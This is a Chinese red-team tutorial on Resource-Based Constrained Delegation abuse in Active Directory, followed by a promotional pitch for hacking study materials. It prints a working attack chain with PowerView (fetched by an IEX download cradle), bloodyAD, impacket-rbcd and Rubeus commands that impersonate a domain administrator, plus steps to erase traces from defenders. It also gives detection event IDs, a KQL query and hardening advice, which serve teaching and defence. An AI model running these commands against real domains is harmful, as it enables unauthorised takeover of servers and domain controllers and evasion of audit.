基于资源的约束委派攻击,红队高频攻击链路
基于资源的约束委派攻击红队高频攻击链路免责声明本文内容仅用于授权红队演练、企业 AD 安全自查、安全学习研究严禁在未授权的域环境执行 RBCD、AD 属性篡改、Kerberos 票据伪造等操作。未经授权对计算机信息系统进行渗透测试属于违法行为所有操作带来的法律后果由操作者自行承担。前言基于资源的约束委派Resource-Based Constrained Delegation简称 RBCD是域渗透红队最经典、使用率极高的 Kerberos 委派攻击技术MITRE ATTCK 编号T1558.002。很多人把 RBCD 和传统约束委派混淆传统约束委派是在发起委派的账号上配置域管理员权限才能修改而 RBCD 信任方向完全反转由目标资源计算机对象自己决定允许哪个账号来模拟用户访问自己。RBCD 最大魅力不需要域管理员权限只要攻击者手里的账号对目标计算机对象拥有GenericWrite / GenericAll / WriteDacl / WriteOwner等 ACL 写入权限就可以修改目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置委派。配合 AD 默认的MachineAccountQuota10普通域用户最多可以在域内创建 10 个机器账号整套攻击链路从低权限域账号出发直接横向拿下目标服务器甚至域控。版本前提RBCD 从 Windows Server 2012 开始支持2008 及更早版本不支持 RBCD。常见误区RBCD 攻击必须拿到域管权限RBCD 只能针对普通工作站不能攻击域控修改 RBCD 属性之后永久生效没有日志S4U2Proxy 可以模拟所有账号加入 Protected Users 组账号同样可以被模拟。一、RBCD 核心原理S4U2Self S4U2ProxyRBCD 攻击依赖 Kerberos 两个扩展协议 S4UService for User也是整套攻击的核心。S4U2Self向 KDC 申请一张给自己本身服务的票据用攻击者可控的机器账号身份模拟指定用户例如域管理员 Administrator获取一张转发属性的 ST 票据。S4U2Proxy拿着 S4U2Self 拿到的票据向 KDC 再次申请票据访问目标资源被配置 RBCD 的机器KDC 校验目标机器msDS-AllowedToActOnBehalfOfOtherIdentity属性如果攻击者机器账号在允许列表则返回目标服务的 ST 票据。msDS-AllowedToActOnBehalfOfOtherIdentity是目标计算机对象上的关键属性这个属性存储允许进行委派模拟的主体 SID。简单一句话理解目标机器记录了哪些账号可以冒充任意用户访问我。传统约束委派服务 A 告诉 KDC我可以去访问服务 BRBCD服务 B 告诉 KDC只有账号 X 可以冒充用户访问我。二、RBCD 完整攻击前置条件缺一不可攻击者拥有一个域账号凭据该域账号对目标计算机对象拥有写入权限GenericWrite / GenericAll / WriteDacl / WriteOwner / AddAllowedToAct域环境MachineAccountQuota大于 0默认值 10允许普通域用户创建机器账号攻击者可以创建 / 控制一个机器账号带 SPN机器账号自带 SPN目标系统版本 ≥ Server2012目标计算机对象允许修改msDS-AllowedToActOnBehalfOfOtherIdentity属性。备选场景如果MachineAccountQuota0普通用户无法新建机器账号则攻击者需要找到已经控制、自带 SPN 的账号服务账号 / 机器账号使用已有账号完成 RBCD 攻击。三、红队 RBCD 完整攻击链路标准流程步骤 1信息收集BloodHound 寻找攻击路径拿到低权限域账号后使用 SharpHound 采集 AD 数据导入 BloodHound查询 ACL寻找用户对计算机对象拥有 GenericWrite/GenericAll的路径。BloodHound Cypher 查询语句MATCH p(u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]-(c:Computer) RETURN p找到目标用户lowuser对WEB01$计算机对象拥有 GenericWrite 权限这就是 RBCD 入口。原理lowuser可以修改 WEB01$ 计算机对象的 AD 属性修改msDS-AllowedToActOnBehalfOfOtherIdentity。步骤 2在域内创建攻击者可控的机器账号利用默认MachineAccountQuota10低权限域用户创建 Fake 机器账号FAKECOMP$设置机器账号密码。PowerView 创建机器账号Windows# 导入PowerView IEX(New-Object Net.WebClient).DownloadString(http://xxx/PowerView.ps1) New-ADComputer -Name FAKECOMP -AccountPassword (ConvertTo-SecureString Fake123456 -AsPlainText -Force) -Enabled $trueImpacket bloodyAD / rbcd.pyKali LinuxbloodyAD -u lowuser -p User123 -d test.local --host 192.168.1.10 add computer FAKECOMP Fake123456创建成功拿到FAKECOMP$机器账号获取它的 SID 和 NTLM 哈希。步骤 3修改目标计算机对象 RBCD 属性写入 Fake 机器账号 SID将FAKECOMP$的 SID 写入目标机器WEB01$的msDS-AllowedToActOnBehalfOfOtherIdentity属性代表WEB01 允许 FAKECOMP$ 账号模拟任意用户访问自身资源。PowerShell 操作# 获取fake机器账号SID $fakeCompSID Get-DomainComputer FAKECOMP -Properties objectsid | Select -Expand objectsid # 构造安全描述符 $SD New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeCompSID) $SDbytes New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDbytes,0) # 写入目标WEB01$的msDS-AllowedToActOnBehalfOfOtherIdentity Set-DomainObject -Identity WEB01$ -Set {msds-allowedtoactonbehalfofotheridentity$SDbytes}Impacket rbcd.py 一键配置Linuximpacket-rbcd -delegate-from FAKECOMP$ -delegate-to WEB01$ -dc-ip 192.168.1.10 test.local/lowuser:User123 -action write验证配置是否写入成功impacket-rbcd -delegate-to WEB01$ -dc-ip 192.168.1.10 test.local/lowuser:User123 -action read步骤 4Rubeus 执行 S4U 请求伪造域管理员票据使用 Rubeus 调用 S4U2Self S4U2Proxy模拟域管理员 Administrator申请访问 WEB01 的 CIFS 服务票据直接内存注入PTT。Rubeus.exe s4u /user:FAKECOMP$ /rc4:FAKECOMP机器账号NTLM哈希 /impersonateuser:Administrator /msdsspn:cifs/web01.test.local /domain:test.local /dc:192.168.1.10 /ptt参数说明/user我们创建的 fake 机器账号/rc4fake 机器账号 NTLM Hash/impersonateuser要模拟的用户Administrator 域管理员/msdsspn目标服务 SPNcifs 用于访问文件共享 C$/pttPass-the-Ticket直接注入当前内存。票据注入成功后直接访问目标主机 C$ 共享dir \\web01.test.local\C$拿到 WEB01 服务器管理员权限完成横向移动。如果需要 WinRM 远程执行命令修改 SPN 为HOST/web01.test.local。四、RBCD 常见攻击变种与实战场景场景 1RBCD 攻击域控高危如果低权限账号对域控计算机对象拥有 GenericWrite 权限直接对 DC 执行 RBCD 攻击模拟域管理员访问域控 CIFS拿下域控。这是红队非常经典的提权路径很多企业运维错误配置普通运维账号对 DC 计算机对象拥有 GenericWrite。场景 2MachineAccountQuota0无法新建机器账号无法新建机器账号时攻击者寻找已经控制、自带 SPN 的账号业务服务账号、其他已经拿下的机器账号用这个已有账号作为delegate-from主体配置 RBCD后续 S4U 流程不变。场景 3KrbRelayUp RBCD 组合攻击KrbRelayUp 是 NTLM 中继 RBCD 的组合攻击无需提前拿到 GenericWrite 权限通过 LDAP 中继自动获取 WriteDacl然后自动配置 RBCD、创建机器账号、S4U 伪造票据一键拿下本地主机内网横向非常常见。场景 4RBCD 后清理痕迹攻击完成清理 AD 属性删除写入的msDS-AllowedToActOnBehalfOfOtherIdentity避免蓝队审计发现Set-DomainObject -Identity WEB01$ -Clear msds-allowedtoactonbehalfofotheridentityLinux impacket 命令清除impacket-rbcd -delegate-to WEB01$ -dc-ip 192.168.1.10 test.local/lowuser:User123 -action clear五、RBCD 攻击日志痕迹蓝队检测要点RBCD 攻击由创建机器账号、修改计算机对象 RBCD 属性、S4U Kerberos 票据请求三部分构成对应的日志事件 ID。前提域控需要开启审计目录服务更改否则 5136 日志不会生成默认关闭。EventID 4741创建计算机账号普通域用户新建机器账号告警非管理员账号创建计算机对象名称不符合企业主机命名规范。EventID 5136目录服务对象修改RBCD 核心告警修改msDS-AllowedToActOnBehalfOfOtherIdentity属性ObjectClasscomputer该事件是 RBCD 攻击最核心检测点。KQL 查询SentinelSecurityEvent | where EventID 5136 | where ObjectClass computer | where AttributeLDAPDisplayName msDS-AllowedToActOnBehalfOfOtherIdentity | project TimeGenerated,SubjectUserName,ObjectDN,OperationTypeEventID 4769S4U TGS_REQ 请求S4U 会产生 TGS 请求特征同一个账号短时间大量 TGS 请求S4U 请求中包含S4U2Self标识KDC 日志可识别 S4U 票据请求。MDIDefender for Identity内置告警可疑 Kerberos 委派活动、RBCD 滥用告警。注意RBCD 攻击不会产生 4768 AS_REQ 日志S4U 不走正常 AS 阶段申请 TGT不能依赖 4768 进行检测。六、域加固方案防御 RBCD 攻击1. 修改域属性 ms-DS-MachineAccountQuota0最有效的缓解手段禁止普通域用户创建机器账号直接阻断 RBCD 最常用的前置路径。PowerShell 设置域属性Set-ADDomain -Identity test.local -Replace {ms-DS-MachineAccountQuota0}注意设置为 0 之后只有域管理员才可以新建计算机账号。2. 定期审计 AD ACL清理危险权限使用 BloodHound、PowerView 批量扫描清理普通用户对计算机对象的GenericWrite / GenericAll / WriteDacl / WriteOwner权限。企业最常见漏洞将服务器的管理权限错误授予普通域用户导致该用户拥有 GenericWrite形成 RBCD 攻击入口。3. 高权限账号加入 Protected Users 组加入 Protected Users 组的账号无法被 S4U2Proxy 模拟。就算攻击者成功配置 RBCD也不能模拟 Protected Users 内的账号极大缩小攻击面。域管理员、企业管理员等高权限账号建议放入 Protected Users。4. 开启目录服务更改审计Event5136域控组策略开启「审计目录服务更改」集中日志上送到 SIEM监控msDS-AllowedToActOnBehalfOfOtherIdentity属性变更。5. 最小权限遵循 Tier0 域分层运维Tier0域控严格限制 ACL普通运维账号禁止拥有对域控计算机对象的任何写入权限。6. 监控异常机器账号定期巡检 AD 内计算机对象发现命名异常、不在资产台账内的机器账号及时清理监控 4741 新建计算机账号事件。七、RBCD 与其他委派攻击横向对比攻击类型配置位置所需权限核心协议攻击特点RBCD 基于资源约束委派目标计算机对象对目标机器对象写权限不需要域管S4U2SelfS4U2Proxy低权限横向红队高频Win2012传统约束委派发起委派账号域管理员配置TGS配置繁琐需要域管较少见无约束委派计算机对象TRUSTED_FOR_DELEGATION拿到主机权限TGT 转发高风险一旦拿下主机抓取 TGT全域持久化影子凭据用户 / 计算机对象写权限PKINIT不需要机器账号配额证书方式伪造票据八、红队实战踩坑总结执行 S4U 时报错KDC_ERR_BADOPTION目标系统版本低于 2012不支持 RBCD或者目标账号加入 Protected Users不能被模拟修改msDS-AllowedToActOnBehalfOfOtherIdentity报错权限不足当前账号没有 GenericWrite/WriteDacl票据注入成功但无法访问 C$目标主机防火墙拦截 445SPN 写错或者目标机器本地安全策略限制MachineAccountQuota0无法新建机器账号需要寻找已有可控账号代替 Fake 机器账号攻击后一定要清理msDS-AllowedToActOnBehalfOfOtherIdentity属性否则蓝队巡检会直接发现异常 RBCD 配置RBCD 拿到的票据只对指定 SPN 生效CIFS 票据只能访问 SMB 共享不能用于 WinRM需要单独申请 HOST SPN 票据。九、总结RBCD 之所以成为红队域横向移动的王牌技术核心在于它攻击起点门槛极低仅需要低权限域账号 对目标计算机对象的 ACL 写入权限不需要域管理员。整套链路利用 AD 默认MachineAccountQuota创建机器账号修改目标机器 RBCD 属性S4U 协议模拟高权限用户拿到目标主机权限。防守侧不能只依赖单一策略优先把MachineAccountQuota置 0定期审计 AD 对象 ACL将高权限账号放入 Protected Users开启 5136 目录变更审计。RBCD 攻击本质不是 Kerberos 协议漏洞根源是 AD 对象过度授权很多企业域安全风险来自多年遗留错误 ACLBloodHound 可以提前发现 GenericWrite 等高风险路径提前消除 RBCD 攻击入口。最后关于网络安全技术储备网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣黑客都是未来职业选择中上上之选为了保护自己的网络安全学习网络安全知识是必不可少的。如果你是准备学习网络安全黑客或者正在学习下面这些你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
上一篇/下一篇内容由系统自动关联
返回资讯列表 →